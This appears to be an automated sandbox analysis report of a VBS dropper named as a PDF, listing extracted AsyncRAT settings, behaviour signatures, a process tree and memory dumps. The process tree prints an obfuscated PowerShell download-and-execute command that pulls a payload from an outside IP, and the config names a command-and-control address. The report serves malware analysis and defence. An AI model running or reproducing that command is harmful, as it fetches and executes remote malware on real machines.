Analysis
- max time kernel
64s - max time network
138s - platform
windows10_x64 - resource
win10-en-20211014 - submitted
19/10/2021, 09:40
General
- Target 0000001239_PDF.vbs
- Size 440B
- Sample211019-lnaczsgddj
- SHA256 3fc706ce01f2ff41e02943699351d1ad3c32160cbd0be0b8bb85f9472303d4c2
Malware Config
Extracted
-
ps1
-
ps1.dropper
http://135.125.248.37/Bypass1.txt
Extracted
-
asyncrat
-
1.0.7
-
Default
-
139.28.37.182:5200
-
DcRatMutex_qwqdanchun
-
anti_vm
false
-
bsod
false
-
delay
1
-
install
false
-
install_folder
%AppData%
-
pastebin_config
null
Signatures
- AsyncRat
AsyncRAT is designed to remotely monitor and control other computers.
- Async RAT payload 2 IoCs
- Blocklisted process makes network request 2 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 10 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\0000001239_PDF.vbs"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" &('{1}{0}'-f'X','IE')(&('{1}{0}{2}' -f'je','New-Ob','ct') ('{1}{2}{0}' -f 'WebClient','Ne','t.')).('{2}{3}{1}{0}' -f'dString','nloa','D','ow').InVoKe('http://135.125.248.37/Bypass1.txt')2⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
memory/1124-149-0x0000000000400000-0x0000000000412000-memory.dmp
memory/1124-158-0x0000000005A30000-0x0000000005A31000-memory.dmp
memory/1124-157-0x0000000005F30000-0x0000000005F31000-memory.dmp
memory/1124-156-0x0000000005990000-0x0000000005991000-memory.dmp
memory/1124-155-0x0000000005190000-0x0000000005191000-memory.dmp
memory/1124-153-0x0000000000BA0000-0x0000000000BB2000-memory.dmp
memory/3208-121-0x0000022A92850000-0x0000022A92851000-memory.dmp
memory/3208-134-0x0000022A90CC0000-0x0000022A90CC2000-memory.dmp
memory/3208-124-0x0000022A90CC0000-0x0000022A90CC2000-memory.dmp
memory/3208-125-0x0000022AACEB0000-0x0000022AACEB1000-memory.dmp
memory/3208-126-0x0000022A90CC0000-0x0000022A90CC2000-memory.dmp
memory/3208-128-0x0000022A92810000-0x0000022A92812000-memory.dmp
memory/3208-129-0x0000022A92813000-0x0000022A92815000-memory.dmp
memory/3208-132-0x0000022A90CC0000-0x0000022A90CC2000-memory.dmp
memory/3208-133-0x0000022A92816000-0x0000022A92818000-memory.dmp
memory/3208-123-0x0000022A90CC0000-0x0000022A90CC2000-memory.dmp
memory/3208-144-0x0000022A929E0000-0x0000022A92A04000-memory.dmp
memory/3208-122-0x0000022A90CC0000-0x0000022A90CC2000-memory.dmp
memory/3208-150-0x0000022A928A0000-0x0000022A928A1000-memory.dmp
memory/3208-152-0x0000022A90CC0000-0x0000022A90CC2000-memory.dmp
memory/3208-120-0x0000022A90CC0000-0x0000022A90CC2000-memory.dmp
memory/3208-119-0x0000022A90CC0000-0x0000022A90CC2000-memory.dmp
memory/3208-118-0x0000022A90CC0000-0x0000022A90CC2000-memory.dmp
memory/3208-116-0x0000022A90CC0000-0x0000022A90CC2000-memory.dmp
memory/3208-117-0x0000022A90CC0000-0x0000022A90CC2000-memory.dmp